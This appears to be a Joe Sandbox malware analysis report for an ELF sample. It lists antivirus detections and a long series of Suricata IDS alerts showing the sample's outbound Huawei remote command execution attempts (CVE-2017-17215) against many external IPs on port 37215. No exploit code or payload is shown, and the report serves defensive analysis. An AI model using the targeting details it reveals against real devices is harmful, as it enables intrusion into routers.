2024-10-08T20:36:04.264101+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43934	156.139.146.249	37215	TCP
2024-10-08T20:36:04.264108+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50686	197.107.11.228	37215	TCP
2024-10-08T20:36:04.264296+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48442	41.62.170.117	37215	TCP
2024-10-08T20:36:04.264309+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56246	197.228.161.164	37215	TCP
2024-10-08T20:36:04.264355+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53146	156.156.140.164	37215	TCP
2024-10-08T20:36:04.264535+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36114	41.35.184.46	37215	TCP
2024-10-08T20:36:04.264601+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45414	197.10.130.189	37215	TCP
2024-10-08T20:36:04.264741+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53452	156.132.67.44	37215	TCP
2024-10-08T20:36:04.264986+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40666	156.30.186.232	37215	TCP
2024-10-08T20:36:04.265281+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44460	41.226.246.217	37215	TCP
2024-10-08T20:36:04.265297+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60276	156.119.53.139	37215	TCP
2024-10-08T20:36:04.266544+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38402	197.34.77.154	37215	TCP
2024-10-08T20:36:04.266847+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48424	41.237.181.238	37215	TCP
2024-10-08T20:36:04.267021+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58182	197.246.232.50	37215	TCP
2024-10-08T20:36:04.269938+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53364	156.107.202.201	37215	TCP
2024-10-08T20:36:04.271031+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41958	41.242.21.184	37215	TCP
2024-10-08T20:36:04.271048+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43170	41.208.166.240	37215	TCP
2024-10-08T20:36:04.271278+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39766	156.78.217.143	37215	TCP
2024-10-08T20:36:04.271302+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51046	41.61.222.238	37215	TCP
2024-10-08T20:36:04.271526+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53228	41.82.212.92	37215	TCP
2024-10-08T20:36:04.271540+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52962	197.138.246.24	37215	TCP
2024-10-08T20:36:04.271769+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42052	197.164.211.84	37215	TCP
2024-10-08T20:36:04.272167+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33782	41.77.104.180	37215	TCP
2024-10-08T20:36:04.272373+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60504	41.183.106.102	37215	TCP
2024-10-08T20:36:04.272381+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36702	156.241.114.118	37215	TCP
2024-10-08T20:36:04.272479+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58054	156.91.247.254	37215	TCP
2024-10-08T20:36:04.272850+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45888	156.56.109.105	37215	TCP
2024-10-08T20:36:04.272911+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42774	41.176.131.73	37215	TCP
2024-10-08T20:36:04.273106+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35992	41.239.246.208	37215	TCP
2024-10-08T20:36:04.273126+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52304	41.100.89.44	37215	TCP
2024-10-08T20:36:04.273139+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39204	41.72.128.76	37215	TCP
2024-10-08T20:36:04.273289+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46946	41.141.0.110	37215	TCP
2024-10-08T20:36:04.273397+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58264	197.23.141.225	37215	TCP
2024-10-08T20:36:04.273402+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56178	197.188.106.114	37215	TCP
2024-10-08T20:36:04.273502+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43210	156.141.84.172	37215	TCP
2024-10-08T20:36:04.273642+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56850	197.28.110.25	37215	TCP
2024-10-08T20:36:04.273659+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59030	156.23.148.85	37215	TCP
2024-10-08T20:36:04.274072+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45674	197.95.82.143	37215	TCP
2024-10-08T20:36:04.274354+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39388	156.241.151.42	37215	TCP
2024-10-08T20:36:04.274630+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37220	41.153.100.250	37215	TCP
2024-10-08T20:36:04.274748+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34544	197.224.252.81	37215	TCP
2024-10-08T20:36:04.274987+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34738	197.36.236.60	37215	TCP
2024-10-08T20:36:04.274996+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36802	156.92.245.164	37215	TCP
2024-10-08T20:36:04.275078+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36948	156.48.216.193	37215	TCP
2024-10-08T20:36:04.275188+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56100	156.171.247.151	37215	TCP
2024-10-08T20:36:04.275660+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60126	197.220.201.109	37215	TCP
2024-10-08T20:36:04.276248+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38590	197.137.132.159	37215	TCP
2024-10-08T20:36:04.276393+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35644	41.226.188.222	37215	TCP
2024-10-08T20:36:04.276538+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48402	41.182.246.105	37215	TCP
2024-10-08T20:36:04.276914+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50700	41.13.168.119	37215	TCP
2024-10-08T20:36:04.287876+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51806	197.63.240.82	37215	TCP
2024-10-08T20:36:04.288570+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47966	41.70.111.25	37215	TCP
2024-10-08T20:36:04.289661+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56514	197.138.23.138	37215	TCP
2024-10-08T20:36:04.290025+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43824	41.222.28.189	37215	TCP
2024-10-08T20:36:04.290051+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57910	41.62.118.176	37215	TCP
2024-10-08T20:36:04.290273+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33696	156.141.224.68	37215	TCP
2024-10-08T20:36:04.290355+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53776	156.60.234.33	37215	TCP
2024-10-08T20:36:04.291455+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45296	156.78.122.206	37215	TCP
2024-10-08T20:36:04.291517+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47114	41.112.161.206	37215	TCP
2024-10-08T20:36:05.288350+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43716	156.83.223.92	37215	TCP
2024-10-08T20:36:06.304530+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60798	197.34.178.0	37215	TCP
2024-10-08T20:36:06.319209+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48914	197.138.190.190	37215	TCP
2024-10-08T20:36:07.318820+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51092	197.10.106.102	37215	TCP
2024-10-08T20:36:09.348034+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40314	156.104.244.8	37215	TCP
2024-10-08T20:36:09.348407+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43894	197.159.102.187	37215	TCP
2024-10-08T20:36:09.348417+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32872	41.123.139.39	37215	TCP
2024-10-08T20:36:09.349041+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56884	197.148.155.145	37215	TCP
2024-10-08T20:36:09.349085+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43372	197.118.250.62	37215	TCP
2024-10-08T20:36:09.350100+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43476	41.235.2.234	37215	TCP
2024-10-08T20:36:09.350425+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46518	156.119.209.188	37215	TCP
2024-10-08T20:36:09.352700+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59736	156.188.14.209	37215	TCP
2024-10-08T20:36:09.364259+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59830	41.93.87.234	37215	TCP
2024-10-08T20:36:09.364940+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53184	41.177.103.77	37215	TCP
2024-10-08T20:36:09.380252+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54222	197.152.2.59	37215	TCP
2024-10-08T20:36:09.380374+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50728	41.84.187.39	37215	TCP
2024-10-08T20:36:09.383654+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42286	197.35.81.40	37215	TCP
2024-10-08T20:36:09.385509+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42616	41.178.96.195	37215	TCP
2024-10-08T20:36:09.399476+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50808	41.96.179.253	37215	TCP
2024-10-08T20:36:09.812357+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45352	156.228.95.241	37215	TCP
2024-10-08T20:36:09.847416+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36244	156.238.127.2	37215	TCP
2024-10-08T20:36:10.376848+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57370	197.5.24.4	37215	TCP
2024-10-08T20:36:10.457898+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38828	156.138.1.204	37215	TCP
2024-10-08T20:36:10.507122+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38972	41.169.17.3	37215	TCP
2024-10-08T20:36:11.132340+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47578	156.246.159.64	37215	TCP
2024-10-08T20:36:11.396175+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60360	197.85.63.139	37215	TCP
2024-10-08T20:36:11.396362+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46140	41.234.148.173	37215	TCP
2024-10-08T20:36:11.411935+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35036	41.120.105.231	37215	TCP
2024-10-08T20:36:11.411943+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58944	156.196.14.33	37215	TCP
2024-10-08T20:36:11.412054+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36704	197.24.238.239	37215	TCP
2024-10-08T20:36:11.413179+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33352	197.123.242.181	37215	TCP
2024-10-08T20:36:11.414926+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55402	156.181.219.128	37215	TCP
2024-10-08T20:36:11.415043+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53764	156.102.17.112	37215	TCP
2024-10-08T20:36:11.415204+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39862	197.32.108.169	37215	TCP
2024-10-08T20:36:11.415405+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39522	197.49.31.24	37215	TCP
2024-10-08T20:36:11.415416+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50636	41.151.106.166	37215	TCP
2024-10-08T20:36:11.416880+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46428	41.158.232.80	37215	TCP
2024-10-08T20:36:11.417153+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60322	197.143.237.210	37215	TCP
2024-10-08T20:36:11.464360+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50212	41.239.175.173	37215	TCP
2024-10-08T20:36:12.223633+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37588	197.147.119.165	37215	TCP
2024-10-08T20:36:13.163066+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55204	197.8.111.166	37215	TCP
2024-10-08T20:36:13.443353+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60762	156.157.155.30	37215	TCP
2024-10-08T20:36:13.444230+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38016	41.21.227.161	37215	TCP
2024-10-08T20:36:13.465495+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38416	156.98.16.76	37215	TCP
2024-10-08T20:36:13.465902+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54240	197.171.65.191	37215	TCP

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: aXyM30sV1V.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: aXyM30sV1V.elf

ReversingLabs: Detection: 65%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52538 -> 41.71.213.174:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37268 -> 197.235.13.125:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57476 -> 197.130.245.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59808 -> 197.129.240.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34024 -> 156.226.59.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50070 -> 41.66.89.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52650 -> 197.67.121.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49720 -> 156.74.149.151:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47660 -> 197.146.79.42:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56946 -> 41.200.79.242:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46710 -> 156.136.228.139:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52806 -> 156.212.37.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60008 -> 156.224.97.47:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56320 -> 41.196.1.126:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41382 -> 197.139.250.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39500 -> 156.171.60.191:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52270 -> 197.114.205.104:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58274 -> 197.94.191.86:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50606 -> 41.225.209.41:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49614 -> 156.244.34.40:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39048 -> 156.242.157.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59306 -> 197.200.82.162:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48954 -> 41.50.101.100:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42110 -> 197.100.85.188:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53810 -> 156.192.248.123:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44704 -> 197.47.170.78:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52950 -> 41.49.156.70:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39644 -> 197.103.175.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56478 -> 197.249.177.156:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58352 -> 197.118.22.201:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46656 -> 156.210.51.216:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37644 -> 197.242.35.187:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59302 -> 156.15.255.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56960 -> 197.247.144.107:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47336 -> 41.61.90.18:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58030 -> 197.138.131.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58616 -> 197.75.45.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41538 -> 197.61.130.134:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38406 -> 41.171.155.222:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54604 -> 156.139.56.40:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57498 -> 197.240.239.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52218 -> 156.43.132.129:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39898 -> 197.169.44.159:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42376 -> 156.127.1.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55708 -> 41.237.78.220:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36528 -> 41.103.212.117:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52058 -> 41.62.139.88:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34346 -> 156.9.173.187:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55048 -> 156.33.3.166:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42220 -> 156.211.117.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45862 -> 197.5.175.128:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60220 -> 197.153.188.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44006 -> 41.228.100.124:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51186 -> 197.221.227.11:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57252 -> 197.120.159.78:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33566 -> 156.8.55.141:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37782 -> 41.98.76.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50954 -> 41.115.234.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36296 -> 197.90.138.159:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55218 -> 197.183.193.206:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49060 -> 156.48.218.124:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52512 -> 156.40.104.148:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52900 -> 197.53.135.75:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57946 -> 41.125.245.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59484 -> 197.205.151.131:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37312 -> 156.13.36.43:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39294 -> 156.121.39.131:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50966 -> 41.47.159.130:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51222 -> 41.33.42.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59484 -> 41.126.15.131:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51342 -> 156.130.3.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54588 -> 156.235.39.57:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59414 -> 156.224.146.131:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40276 -> 41.240.69.60:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42768 -> 41.39.101.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45258 -> 156.227.235.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56704 -> 41.11.98.189:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52690 -> 156.133.98.88:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46754 -> 156.151.29.185:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44860 -> 197.59.58.68:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48064 -> 156.226.176.193:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39602 -> 197.3.1.37:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48562 -> 41.202.0.65:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39602 -> 41.170.240.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59134 -> 41.233.118.37:37215
